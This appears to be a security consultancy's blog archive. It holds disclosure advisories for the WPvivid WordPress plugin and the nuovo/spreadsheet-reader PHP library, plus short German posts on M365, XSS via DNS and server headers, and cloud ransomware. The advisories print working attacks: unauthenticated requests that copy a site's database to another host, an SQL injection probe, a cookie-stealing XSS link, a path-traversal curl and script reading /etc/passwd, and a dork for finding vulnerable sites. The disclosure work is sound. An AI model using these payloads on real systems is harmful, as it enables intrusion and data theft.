Multiple vulnerabilities in WordPress Plugin – WPvivid Backup and Migration

As part of a customer project, multiple vulnerabilities in the WordPress plugin WPvivid Backup and Migration (Free Edition) were identified and further investigated outside the project to determine the impact in more detail.

The vulnerabilities were identified in version 0.9.68 and probably exist in older versions as well. Upgrade the plugin WPvivid Backup and Migration (Free Edition) to the version 0.9.69 or higher as soon as possible to fix the vulnerabilities.

Background Information

WPvivid Backup and Migration is a WordPress plugin by WPvivid Team and offers backup, migration, and staging as basic features. This plugin has more than 200,000 active installations.

The vulnerabilities

Functions of the WPvivid Backup and Migration plugin in version 0.9.68 can be called remotely without authentication, which allows attackers to exfiltrate the entire WordPress database, for example, or to fill the hard disk of the corresponding system by multiple local copies of the WordPress pages disturbing their availability (CVE-2024-1982).

Furthermore, SQL queries can be manipulated (SQL injection), which means that further database contents can probably be read or manipulated without authentication (CVE-2024-1981).

The plugin is also vulnerable to stored cross-site scripting attacks . For this, a WordPress administrator must execute a manipulated link, for example. This vulnerability was simultaneously published by another researcher and is already tracked under CVE-2021-24994.

Unauthenticated Access to WPvivid Functions (CVE-2024-1982)

The following plugin functions can be called unauthenticated e. g. over the Internet:

  • wp_ajax_nopriv_wpvivid_restore
  • wp_ajax_nopriv_wpvivid_get_restore_progress
  • wp_ajax_nopriv_wpvividstg_start_staging_free
  • wp_ajax_nopriv_wpvividstg_get_staging_progress_free

The function wp_ajax_nopriv_wpvividstg_start_staging_free can be used to trigger the creation of a staging web page. Selected or all files of the WordPress installation are copied into a definable subdirectory. This functionality can be started without prior authentication like this:

POST /wp-admin/admin-ajax.php?action=wpvividstg_start_staging_free HTTP/1.1
Host: myblog.hisocorp.com
[…]
Content-Type: application/x-www-form-urlencoded

path=custom_name_staging_page&table_prefix=something&custom_dir=something&additional_db={"test":"test"}&root_dir=0

Afterwards, the server response {"result":"success","task_id":"wpvivid-61ba042730a63"} indicates that the action was successful.

By continuously running this function to create staging versions of the web application an attacker can exhaust the systems disk space. Normal operation of the system and especially of the web application can thus no longer be provided.

By specifying a remote system in the parameters of the function wp_ajax_nopriv_wpvividstg_start_staging_free, the contents of the WordPress installation can be exfiltrated. This can be done as in the following example request:

POST /wp-admin/admin-ajax.php?action=wpvividstg_start_staging_free HTTP/1.1
Host: example.org
[…]
Content-Type: application/x-www-form-urlencoded
 
path=name_existing_staging_page&create_new_wp=1&additional_db={"additional_database_check":"1","additional_database_info":{"db_host":"192.168.0.5","db_name":"something","db_user":"username","db_pass":"password"}}&custom_dir={"database_check":1}&table_prefix=something

Afterwards, the status must be queried once via the function wpvividstg_get_staging_progress_free:

POST /wordpress/wp-admin/admin-ajax.php?action=wpvividstg_get_staging_progress_free HTTP/1.1
Host: myblog.hisocorp.com
Content-Type: application/x-www-form-urlencoded

Thus, an attacker can retrieve sensitive data from WordPress databases.

Update: The vendor fix in version 0.9.69 simply disables the wpvividstg_start_staging_free action, see code changes to includes/staging/class-wpvivid-staging.php here.

SQL Injection in WPvivid Function (CVE-2024-1981)

The parameter table_prefix in the function wpvividstg_start_staging_progress_free appears to be vulnerable to an SQL injection. However, no more in-depth exploitability was performed as part of the research.

The following HTTP request was sent to the plugin function with the parameter value test':

POST /wordpress/wp-admin/admin-ajax.php?action=wpvividstg_start_staging_free HTTP/1.1
Host: myblog.hisocorp.com
[…]
Content-Type: application/x-www-form-urlencoded

 
path=something&additional_db={"test":"test"}&custom_dir={"database_check":1}&table_prefix=test'

Subsequently, the status must be queried once via the function wpvividstg_get_staging_progress_free:

POST /wordpress/wp-admin/admin-ajax.php?action=wpvividstg_get_staging_progress_free HTTP/1.1
Host: myblog.hisocorp.com
Content-Type: application/x-www-form-urlencoded

It may happen that the status has to be queried several times until the following response containing the SQL exception is returned:

{"continue":0,"error":1,"error_msg":"Failed to create a table. Error:You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '` (\n  `meta_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,\n  `comment_id` b...' at line 1, query:CREATE TABLE `test'commentmeta` (\n  `meta_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,\n  `comment_id` bigint(20) unsigned NOT NULL DEFAULT 0,\n  `meta_key` varchar(255) DEFAULT NULL,\n  `meta_value` longtext DEFAULT NULL,\n  PRIMARY KEY (`meta_id`),\n  KEY `comment_id` (`comment_id`),\n  KEY `meta_key` (`meta_key`(191))\n) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4","log":"open log file failed","percent":50,"result":"success"}

Update: Here, the vendor fix in version 0.9.69 is the same as for the previous vulnerability. The wpvividstg_get_staging_progress_free action was simply disabled by commenting it out in includes/staging/class-wpvivid-staging.php, see here.

Stored Cross Site Scripting (XSS) in WPvivid

Update: This vulnerability was also independently discovered and reported by another researcher and was assigned CVE-2021-24994 (published during the responsible disclosure process, see here).

The plugin offers remote storage on a Google Drive. For this, an account (called Google Drive Remote Storage Account) for the corresponding authentication must be provided. The name of the specified account is included partially unfiltered in an onclick JavaScript area within the plugin. This means that arbitrary HTML and JavaScript code can be injected. This behavior allows stored XSS attacks via the plugin web interface.

When a logged in WordPress administrator executes the following link, an account with the specified name is automatically stored in the plugin:

http://myblog.hisocorp.com/wp-admin/admin.php?page=WPvivid&action=wpvivid_google_drive_finish_auth&name=test2%22%20onload%3dalert(document.cookie)%3E&default=lll%27%22lll&auth_id

The payload passed in this example adds the JavaScript attribute onload, which is used to display the session cookies in an alert box:

Responsible Disclosure Timeline

  • 15.12.2021 – HiSolutions identified the vulnerabilities
  • 14.01.2022 – HiSolutions contaced WPvivid Team via contact form
  • 20.01.2022 – WPvivid Team responds and HiSolutions sends the details regarding the vulnerabilities
  • 14.02.2022 – WPvivid Team provides the new version 0.9.69 in which the vulnerabilities should be fixed
  • 01.03.2022 – HiSolutions tests the new version. The vulnerabilities were fixed.
  • 29.02.2024 – The Wordfence CNA issues CVE-2024-1981 and CVE-2024-1982.

Credits

The vulnerabilities were found by Denis Werner (HiSolutions AG). The fixes were reviewed by David Mathiszik (HiSolutions AG).

M365 – nicht der richtige Deckel für jeden Topf  

Microsoft M365 ist Marktführer im Kollaborativen Arbeiten am digitalen Arbeitsplatz, so sehen das viele Industrien und Dienstleistungsbereiche. Dieser mere-exposure-effect kann verursachen, dass das Programmpaket M365 nur durch eine öfter Wahrnehmung als Allround Lösung gesehen wird. Doch in welchen Branchen setzt M365 nicht richtig an?  

Die Marktführerpräsenz von Microsoft verleitet viele Unternehmen dazu, in der notwendigen digitalen Transformation des Arbeitsplatzes auf das international vorherrschende M365 zurückzugreifen. Diese „offensichtliche Wahl“ deckt tatsächlich viele Kollaborations- und Arbeitsbereiche durch Anwendungen wie Outlook, Planner und Excel ab. HiSolutions als herstellerunabhängiges Beratungshaus zeigt auf, in welchen Fällen Anforderungen durch andere Tools gedeckt werden müssen. Für welche Anwender sind spezifischere Funktionen nötig? Es ist klar: Es muss es nicht immer M365 sein.  

Ein Blick auf Workspace Tools  

M365, welches die klassischen Office-Produkte sowie Teams und weitere Anwendungen enthält, bietet in vielen Organisationen für die typischsten Anforderungen im Unternehmen eine Lösung. Dazu kommen noch Automatisierungslösungen sowie seit neuestem die integrierte Microsoft KI: Copilot.  Microsoft Chat, eine weitere Funktion, welche das komplette interne Datenuniversum im Unternehmen nutzt, sowie das Internet durchforstet. Mit geeigneten technischen und organisatorischen Maßnahmen bietet M365 für viele Firmen und Industrieunternehmen einen sicheren und kompatiblen Transformationsweg. 

Ein Blick auf Insellösungen

Nach HiSolutions, lohnt sich ein Blick auf andere Tools, wenn spezifische Anforderungen abgedeckt werden müssen. Ein Beispiel hierfür sind Unternehmen, die besonderen Herausforderungen in der Aufgabenverwaltung begegnen. Diese Unternehmen brauchen spezialisierte Lösungen. Der simpel aufgebaute Microsoft Planner kann in vielen Kontexten problemlos eingesetzt werden, schwierig wird es jedoch beispielsweise im Bereich Marketing & Kampagnenplanung. Planner ist nicht anpassungsfähig genug, dazu fehlen Features wie z. B.  Personaleinsätze und Budgetverteilungen. Ebenso beschränkt ist er in der Aufgabenverwaltung im Softwareentwicklungskontext, in kreativen Workshops und der Kommunikation zwischen Gruppen. Die Softwarelösung muss leicht verständliches sein und ein attraktives Design besitzen – dazu muss es Zusammenhänge auf den ersten Blick klarmachen. Durch dieses Beispiel ist klar, dass nicht in allen Fällen die M365 Apps ausreichen.

Der ehrenvolle Weg

Die Erfahrung von HiSolutions zeigt auf, das Unternehmen, welche keine klassische Betriebsstruktur haben, bei der Implementierung von M365 auf weitere Herausforderungen treffen: beispielsweise Ehrenamtsgruppen und Stiftungen, die vom hierarchischen Modell abweichen, können oft mit dem großen Aufwand der IT-Administration nicht umgehen. Ehrenamtliche Gruppen besitzen häufig nicht die Finanzquelle oder Technikaffinität die nötig ist, um alle Funktionen angemessen zu implementieren. Wenn der Allrounder M365 nicht vollständig eingesetzt wird, ergibt sich dieser als äußerst kostspielig. 

Ein weiterer Grund nicht auf den Allrounder M365 zu setzen ist, wenn Ihre Anwender spezifische Anforderungen haben. Alternative Anwendungsprogramme müssen erst einmal identifiziert werden, das kann aufwändig sein. Es kostet Unternehmen Zeit selbst herauszufinden, welche Programme Ihre Anforderungen gerecht werden. Jedes Unternehmen hat andere Ansprüche, die erfüllt werden müssen. Kollaborationstools, die sich auf einen spezifischen Bereich fokussieren und in diesem weit über die grundlegenden Basisfeatures von M365 hinausgehen sind somit die Lösung. Diese spezifischen Anwendungsprogramme werden Insellösungen genannt. Vor allem für bestimmte Organisationsformen wie z. B. Agenturen, Vereine, Schulen und Stiftungen bieten sich diese an. 

Durch die Ausarbeitung der nötigen Anforderungen und den entsprechenden Einsatz passender Insellösung wird Effizienz bewahrt. Unter anderem kommt es zu einem langfristig kleineren IT-Aufwand.  Nutzern wird ein erleichterter Einstieg in den digitalen Arbeitsplatz präsentiert. Da das Unternehmen für die konkreten Aufgaben der Nutzer passgenaue Anwendungsprogramme bereitstellt. Somit wird Zeit in der Einarbeitung gespart und die Nutzer müssen sich nicht durch Unmengen an Programmen, innerhalb eines Programmpacktes wie M365, durchforsten. 

Für ehrenamtliche Gruppen bieten sich flexible Alternativen besonders an. Hier kommt es vor allem auf einen nutzerfreundlichen Workspace an der die Brücke zwischen Technikaffinität und Bedienungsfreundlichkeit bildet. Die Kosten und Nutzen müssen hierbei genaustens ausgelegt werden: Wie viel kostet die IT-Verwaltung und die Lizenzen? Braucht es Server, oder ist alles Cloudbasiert? Wie viel Produktivität können die neuen Anwendungsprogramme garantieren?

Digitale Souveränität für Organisationen 

Viele Organisationen schrecken aufgrund von Bedenken bezüglich der digitalen Souveränität und Abhängigkeit von proprietären Anbietern ab. In diesem Fall sind offene Anwendungen, die eine flexible Datenmigration auf andere Anwendungen ermöglichen, ein Mittel der digitalen Souveränität. Open-Source-Lösungen können ein Baustein der digitalen Souveränität sein, sofern die Organisationen die Ressourcen haben, den Sourcecode weiterzuentwickeln. Das Prinzip your data, your terms bietet Organisationen Sicherheit in der neuen Arbeitsform des Digital Workplace. Für Behörden spielt digitale Souveränität eine besonders große Rolle. Nicht nur wegen des Umganges mit sensiblen Daten, sondern auch durch die Forderungen der Politik nach dem selbst bestimmten Einsatz von IT.    

Den richtigen Deckel finden    

Ob nun der Allrounder M365 oder die agile Insellösung als Transformationsweg – Es darf keine vorschnelle Entscheidung getroffen werden. Datenschutzfolgeabschätzung und IT-Sicherheitskonzepte müssen in allen Fällen erstellt werden. 

Denn digitale Transformation schreitet in Behörden, Unternehmen, im Bildungsberiech und bei Endnutzern in Deutschland voran. Die Bedenken vor so einem großen Wandel im Arbeitsbereich sind begreifbar.  Der Arbeitsaufwand kann groß sein, die Effektivität nicht sofort gegeben. Eine richtige Insellösung und Umsetzung in der Digitalisierung Ihres Arbeitsplatzes bietet neue Arbeitsweisen, komfortablere Arbeitsverhältnisse und neue Möglichkeiten. All seine Hoffnungen in M365 als Lösung zu stecken ist also leichtsinnig. 

XSS auf Abwegen

Cross-Site-Scripting (XSS) ist ansich eine altbekannte Schwachstelle, die in den meisten gängigen Frameworks mittels Eingabevalidierung standardmäßig mitigiert wird. Auch viele Individualanwendungen im Netz behandeln Eingabefelder, die von Dritten ausgefüllt werden, inzwischen sehr vorsichtig.

Zweckentfremdete DNS-Records

Dass derartige Angriffsvektoren oft auch von unerwarteter Seite kommen, zeigte sich, als ich nach der Lektüre des sehr lesenswerten Artikels The Joy of TXT von Peter Lowe ein wenig mit meinen DNS-Einträgen herumspielte – und prompt auf verschiedenen Seiten, die TXT-DNS-Records auslesen und anzeigen, mit meinen eigenen Popups begrüßt wurde.

TXT-Records werden oft für Validierungszwecke eingesetzt, die über die Standard-DNS-Records nicht abgedeckt werden können. Hierzu zählen meist SPF-, DMARC- und DKIM-Einträge sowie verschiedene Validierungen von Drittanbieter-Services. Unter anderem kann ein derartiger Eintrag zum Beispiel von LetsEncrypt genutzt werden, um die Domain zu verifizieren.
Doch die Möglichkeiten sind praktisch unbegrenzt. TXT-Records können, wie im Artikel beschrieben, sogar relativ große Mengen an Text bereitstellen. Und damit natürlich auch Javascript-Snippets, die auf abfragenden Webseiten mit XSS-Schwachstellen dafür sorgen können, dass Code im Webbrowser angezeigt wird.

Die bekanntesten Anbieter für DNS-Validierungsdienste und artverwandte Services entschärfen derartige Einträge standardmäßig. Auf der Webseite wird der bereinigte Inhalt der TXT-Records angezeigt, das Script kommt nicht zur Ausführung. Doch Ausnahmen bestätigen die Regel: Einige Anbieter scheinen davon auszugehen, dass von dieser Seite keine Gefahr droht und binden die Inhalte ungefiltert im Browser ein – unerwünschten Code inbegriffen.

Unübliche Server-Header

Bei meiner Recherche stieß ich auf eine weitere oft unvalidierte Quelle von fremdem Input: Server-Header. Auch hier wird bei den meisten Anbietern viel vorgefiltert, doch eben nicht bei allen. Und während das Einfügen von Javascript-Code in den meisten Standard-Headern vermutlich zu sehr unvorhersehbarem Verhalten führen würde, gibt es mindestens einen Header, der offensichtlich noch harmlos genug erscheint, um ihn ungefiltert wieder auszugeben: Der „Server“-Header.

Wer sich ein wenig mit den üblichen Verdächtigen Apache, Nginx und IIS auseinandergesetzt hat, wird sicherlich bemerkt haben, dass das Ändern des Server-Headers nicht ganz trivial ist, was diese Wahrnehmung möglicherweise bestärkt. Und während böswillige Aktoren zwar das Wissen haben mögen, wie man den Quellcode eines Webservers anpasst und ihn neu kompiliert, scheint das doch ein recht sperriger Weg zu sein. Doch es gibt mindestens für den Apache Möglichkeiten, den Server-Header nahezu komplett umzuschreiben – kurioserweise mittels des Standard-Moduls „security2“, also known as „modsecurity“.

So gelingt es in einigen Fällen relativ einfach, JavaScript auf Seiten, die Server-Header anzeigen, im Browser zur Ausführung zu bringen. Abhilfe schafft auch hier nur serverseitige Filterung – oder ein Scriptblocker auf Clientseite, der oft aber auch die Funktionalität der Webseite beeinträchtigt, da der eingeschleuste Inhalt ebenfalls im Kontext der Webseite ausgeführt wird. Ein Scriptblocker kann das fremde Script nicht von den regulär eingebundenen Scripten unterscheiden.

Eingeschränkt sinnvoll: Der User Agent

Eine eher esoterische Möglichkeit, Scripte im Browser zu injizieren, ist die Manipulation des User Agent des verwendeten Browsers. Dies kann relativ simpel über Add-Ons geschehen, führt aber in vielen Fällen dazu, dass Aufrufe von Webseiten fehlschlagen. Schuld ist hier ein vorgelagerter Security-Proxy oder – Kuriosum Nummer zwei – das bereits erwähnte „security2“-Modul im Apache. Diese Maßnahmen erkennen das Script im User Agent und sperren den aufrufenden Browser direkt aus.

Der Nutzen dieser Variante ist hingegen fraglich: Sie muss auf dem lokalen Client eingestellt werden und betrifft damit auch nur diesen. Für Angriffe auf Fremdsysteme ist sie unbrauchbar. Man benötigt also bereits Zugriff auf das anzugreifende System – ein Henne-Ei-Problem. Zum Testen der serverseitigen Validierung und aktiver Sicherheitsmechanismen taugt die Methode jedoch allemal. Vorausgesetzt, dass der Server den User Agent auf einer seiner Seiten auch anzeigt.

Fazit: Vertraue niemandem!

Gelingt es, jemanden dazu zu bringen, eine verwundbare Seite aufzurufen und die präparierte Domäne in das entsprechende Textfeld einzutragen, ist ein erfolgreicher Angriff durchaus wahrscheinlich. Und einem Hilferuf in einem beliebigen Supportforum, die Validierungsseite zeige beim eigenen Server Fehler an, können viele Techies nicht widerstehen. Manche Webservices erlauben sogar das Angeben der zu überprüfenden Domäne über einen URL-Parameter, das manuelle Eingeben der Domain entfällt durch den Klick auf den Link damit komplett. Dass derartige Seiten Fremdcode einbetten vermutet auch in der technisch versierten Community bei weitem nicht jeder. Und da diejenigen, die sich gerne als Helfer in Support-Foren tummeln, oft auch in der technischen Administration in Unternehmen tätig sind, ist der Sprung zu Supply-Chain-Attacken nicht nur theoretisch denkbar.
Selbstverständlich können auf Seiten des potenziellen Opfers Virenscanner und Scriptblocker aktiv sein und den Angriff abfangen, doch dieses Risiko geht ein Angreifer immer ein.

Es zeigt sich jedenfalls wieder, dass generell bei jedem Input, bei jeder Variable, bei jedem Datenbankeintrag, der nicht vom eigenen System(-verbund) kommt, Vorsicht geboten ist. Eine zusätzliche Absicherung der Systeme, beispielsweise mittels Web Application Firewall, Security-Modulen oder vorgelagerten Prüfsystemen, sollte Standard sein. Zusätzliche Sicherheit bietet beispielsweise eine restriktive Content Security Policy (CSP), die das Ausführen von Inline-Scripten und das Nachladen von fremden Domains im Browser komplett unterbindet.

Beitragsbild: Keine Informationssicherheit, kein Job mehr

Keine Informationssicherheit, kein Job mehr

Wer lange genug in der IT-Sicherheit unterwegs ist, kennt mehr als eine Situation, in der Hinweise und Vorgaben zur IT-Sicherheit mit einem selbstbewusst geäußerten „Keine Lust“, „Haben wir noch nie so gemacht“ oder „Erklären Sie mir nicht meinen Job“ zur Seite geschoben wurden.

Rechtsanwalt Jens Ferner berichtet von einem Fall, der am Ende gerichtlich ausgefochten wurde. Konkret ging es um eine nicht abgeschlossene Schreibtischschublade, in der sich Kundenakten mit Finanzdaten befanden. Eine Schublade klingt nicht direkt nach IT-Sicherheit, aber die entsprechende Clean-Desk-Regelung war Teil der Vorgaben zur Informationssicherheit. Der Verstoß dagegen wurde vom Landesarbeitsgericht Sachsen als so schwer bewertet, dass er eine Abmahnung bzw. wie im konkreten Fall wegen Wiederholung sogar die Kündigung rechtfertigte.

Umgekehrt kann auch eine zu laxe Handhabung von Informationssicherheit zum Jobverlust führen. In vielen Fällen, in denen wir Kunden bei der Bewältigung von Sicherheitsvorfällen unterstützen, stehen die Existenz des Unternehmens und damit auch Arbeitsplätze auf dem Spiel.

Beide Aspekte unterstreichen, dass ein gelebtes Informationssicherheitsmanagement mehr als nur viele geduldige Seiten Text bedeutet.
https://www.ferner-alsdorf.de/wirksame-kuendigung-bei-verstoss-gegen-richtlinie-zur-informationssicherheit/

Link zur Rechtsprechung: https://dejure.org/dienste/vernetzung/rechtsprechung?Gericht=LAG%20Sachsen&Datum=07.04.2022&Aktenzeichen=9%20Sa%20250%2F21

Arbitrary File Read vulnerability – PHP library nuovo/spreadsheet-reader 0.5.11

Within the scope of a penetration test HiSolutions‘ security consultants discovered an arbitrary file read vulnerability in the spreadsheet-reader library by nuovo. The vulnerability was reported before by another security researcher on 17th Dec 2020 but does not have gotten any attention by the author since. After unsuccessful attempts to contact the author via different channels, HiSolutions decided to release exploit details without further actions. The vulnerability affects the current version 0.5.11 which is the latest version since 2015. It may affects earlier versions as well.

Update: As of April 2023, this vulnerability was assigned CVE-2023-29887.

Background Information

The spreadsheet-reader library by nouvo is a widely used PHP software which is used to read out XLS, XLSX, ODS and variously separated text files. The project is hosted on Github and got a decent number of 660 stars and 494 forks. Furthermore it is listed on Packagist, a known PHP package repository, and was downloaded over 500.000 times. Using dependency managers like composer, the vulnerable library obviously found its way into various PHP websites (see Google dork in section “impact” for more information).

The vulnerability

The software ships with a “test.php” file located in the root-directory if the project. The PHP file can be called with the parameter “File” via HTTP GET. Due to the lack of security checks arbitrary paths can be passed as a value for the File parameter:

curl http://127.0.0.1/vendor/nuovo/spreadsheet-reader/test.php?File=../../../../../../../../../../../etc/passwd

As a result from the request above, the contents of the etc/passwd file get returned as a nested PHP array:

---------------------------------
Starting memory: 670416
---------------------------------
---------------------------------
Spreadsheets:
Array
(
    [0] => passwd
)
---------------------------------
---------------------------------
---------------------------------
*** Sheet passwd ***
---------------------------------
0: Array
(
    [0] => root:x:0:0:root:/root:/bin/bash
)
Memory: 3000 current, 719760 base
---------------------------------
1: Array
(
    [0] => bin:x:1:1:bin:/bin:/sbin/nologin
)
Memory: 3232 current, 719992 base
---------------------------------
2: Array
(
    [0] => daemon:x:2:2:daemon:/sbin:/sbin/nologin
)
Memory: 3224 current, 719984 base
---------------------------------
3: Array
(
    [0] => adm:x:3:4:adm:/var/adm:/sbin/nologin
)

[...]

To display only the actual file content and filter out the “noise” around the output, use the following script:

#!/bin/bash

## usage:
# $ spreadsheet-reader-exploit.sh URL FILEPATH
# $ http://127.0.0.1/vendor/nuovo/spreadsheet-reader ../../../../../../../../../../../etc/passwd

SPREADSHEET_FOLDER_URI=$1
FILEPATH=$2
TMP=/tmp/spreadsheesh.txt

curl -s "${SPREADSHEET_FOLDER_URI}/test.php?File=${FILEPATH}" -o ${TMP}
cat ${TMP} | grep ] | cut -d ">" -f 2- | grep -v '^[[:space:]]*$'

Impact

The vulnerability is trivial to exploit. Attackers are able to read arbitrary files from the servers file system with the privileges of the PHP process.

The following google dork shows that multiple websites are online, using the vulnerable composer package:

inurl:"/nuovo/spreadsheet-reader" (Link)

Remediation

As a quick fix the test.php file should be deleted. This would stop attackers to exploit the vulnerability using the default file.

Nevertheless, the vulnerability is not limited to the default test.php file. The root cause of the problem is that the application itself does not sanitize or normalize the passed path-parameter when reading out files from the file system. Therefore, your software must sanitize the path manually before passing it to the library.

Since the project has not received any updates since 2015, despite many open Github (security) issues, it can be assumed that it is not under active development anymore. Therefore, we recommend to use an alternative library.

Responsible Disclosure Timeline

  • 17.12.2020 – The user “liquidsec” first reported an arbitrary read vulnerability discovered in a penetration test.
  • 30.03.2022 – Independent discovery of the vulnerability by HiSolutions within the scope of a penetration test.
  • since 29.04.2022 – HiSolutions contacted the author through Github, Facebook and LinkedIn.
  • 13.01.2023 – Since the author did not respond to any of the messages, HiSolutions decided to disclose the exploitation details.

Credits

The vulnerability was found by Ronny Dobra (HiSolutions AG).

Vom Berater bis zum Angreifer: Computer übernehmen die Jobs

Ende November gab die Firma OpenAI den Prototypen ihres Chatbots ChatGPT zum Ausprobieren durch die Community frei und die nutzte die Adventszeit für viele spannende und teils erschreckende Experimente. Was ist ChatGPT eigentlich? Tatsächlich, wie der Name sagt, ein Chatbot, den man mit Fragen zu recht komplexen Antworten bringen kann. Wie in einem Fachgespräch üblich, kann man ihn durch weitere Fragen oder Änderungswünsche die Antworten ergänzen und verbessern lassen. Der Chatbot kann nicht nur Texte schreiben, sondern auch einfache Programme entwickeln.

Vorsicht ist jedoch angesagt, damit der Bot seine Ergebnisse nicht zu sehr nach den vermeintlichen Wünschen des Fragestellers ausrichtet. Bei Tests mit typischen Beratungsfragen, also den Fragen, die ohne Kontext immer mit „Es kommt darauf an“ beantwortet werden, konnte ChatPGT sehr überzeugend beide Sichten begründen – allerdings ohne auf die jeweils andere Option einzugehen. Fragt man beispielsweise, wie mit schwachen SSL-Cipher-Einstellungen umgegangen werden soll, bekommt man je nach Fragestellung diese Antworten:

Für die Einordnung der Ergebnisse der künstlichen Intelligenz ist dann doch wieder Fachwissen nötig.

ChatGPT kann aus einer kurzen Beschreibung heraus auch ein passendes Programm entwickeln. Das interessiert natürlich auch potenzielle Malware-Autoren. Die Kollegen von Check-Point haben in Foren erste Hinweise in Foren gefunden, dass mit Malware aus ChatGPT-generiertem Code experimentiert wurde. Ob sich das Entwicklungsmodell bei den Malware-Autoren durchsetzt oder diese Malware am Ende sogar leichter erkennbar sind, wird die Zukunft zeigen.

https://www.heise.de/news/ChatGPT-Maechtige-Waffe-in-Haenden-von-Skriptkiddies-7452741.html

ReinRaaSig: Ransomware as a Service in Azure

„Die Cloud“ gilt gemeinhin als etwas Ransomware-sicherer als On-Prem-Infrastrukturen, allein schon, weil Backup und Restore häufig als native Operationen zur Verfügung stehen. Nun hat sich herausgestellt, dass bestimmte Sicherheitsfeatures der Cloud verwendet werden können, um Angreifern die erpresserische Verschlüsselung sogar zu erleichtern.

Mit Funktionen wie Auto Save lassen sich in M365 bzw. SharePoint Online eine bestimmte konfigurierbare Anzahl alter Versionen einer Datei behalten – zunächst einmal ein Sicherheitsgewinn. Und mit geeigneten Zugriffsrechten können Angreifer auch nicht direkt diese früheren Versionen manipulieren. Es genügt jedoch, wenn sie entweder eine große Anzahl verschlüsselter Versionen einer Datei erzeugen, um alle Versions-Slots zu überschreiben, oder aber das „Versionslimit“ auf 1 setzen – dann genügen zwei Speichervorgänge, um alle unverschlüsselten Kopien zu tilgen.

Microsoft beteuert zwar, auch „überschriebene“ Versionen seien innerhalb von 14 Tagen mithilfe des Supports wiederherstellbar, dies konnte jedoch in der Praxis nicht bestätigt werden.

Sonnenstürme in den Wolken – Droht die Cloud-Komplexität zu eskalieren?

In nur sechs Monaten, von August 2021 bis Januar 2022, wurden acht kritische Schwachstellen bei großen Cloud-Anbietern entdeckt – davon sechs allein bei Azure und zwei bei AWS. Das ergibt zumindest die Auswertung des Security-Forschers Scott Piper, der eine umfassende Liste solcher Lücken pflegt. Da Schwachstellen in Infrastrukturen in der Regel keine CVE-Nummern erhalten und somit von den Herstellern oder den Entdeckerinnen und Entdeckern mit CVSS-Scores für die Kritikalität ausgewiesen werden, musste Piper die Einstufung dafür selbst vornehmen.

Zwar hatte „die Cloud“ noch nicht ihren SolarWinds-Moment wie die Supply-Chain-Security im Dezember 2020, als über die Backdoor Solorigate/Sunburst in der Management-Software SolarWinds Orion sehr viele Firmen weltweit auf einmal akut betroffen waren. Doch zeigt die Aufstellung, dass es bereits diverse near misses gab, in denen großer Schaden hätte angerichtet werden können, wären Angreifer schneller als die Researcher gewesen.

Dass Microsofts Cloud-Dienst so stark überproportional betroffen ist, dürfte eher daran liegen, dass sich der Fokus der Sicherheitsforschung insbesondere auch auf Azure ausgeweitet hat, da sich die Plattform gerade im Business-Umfeld einen gewissen Marktanteil hat sichern können: Allein zwischen 2019 und 2021 legte Azure von 16,5 % auf 20,8 % zu, während Marktführer AWS bei rund 35 % verharrte.

https://www.protocol.com/enterprise/microsoft-azure-vulnerabilities-cloud-security

Elasticheimsuch: NoSQL-Datenbanken geransomed

Ransomware muss nicht unbedingt Clients oder Infrastrukturen befallen. Datenbanken können auch direkt heimgesucht werden, so wie im Fall von mindestens 1.200 Elasticsearch-Instanzen. Angreifer hatten über eine unsichere Konfiguration der Authentifizierung die Daten durch Erpresserbriefe ersetzt.

Elasticsearch ist nicht die erste „next generation“-Datenbank, die auf solche Weise heimgesucht wird. 2020 stellten Sicherheitsforschende fest, dass in ca. der Hälfte der damals exponierten MongoDB-Instanzen ebenfalls der Inhalt durch eine ähnliche Ransom-Note ersetzt worden war.

https://www.secureworks.com/blog/unsecured-elasticsearch-data-replaced-with-ransom-note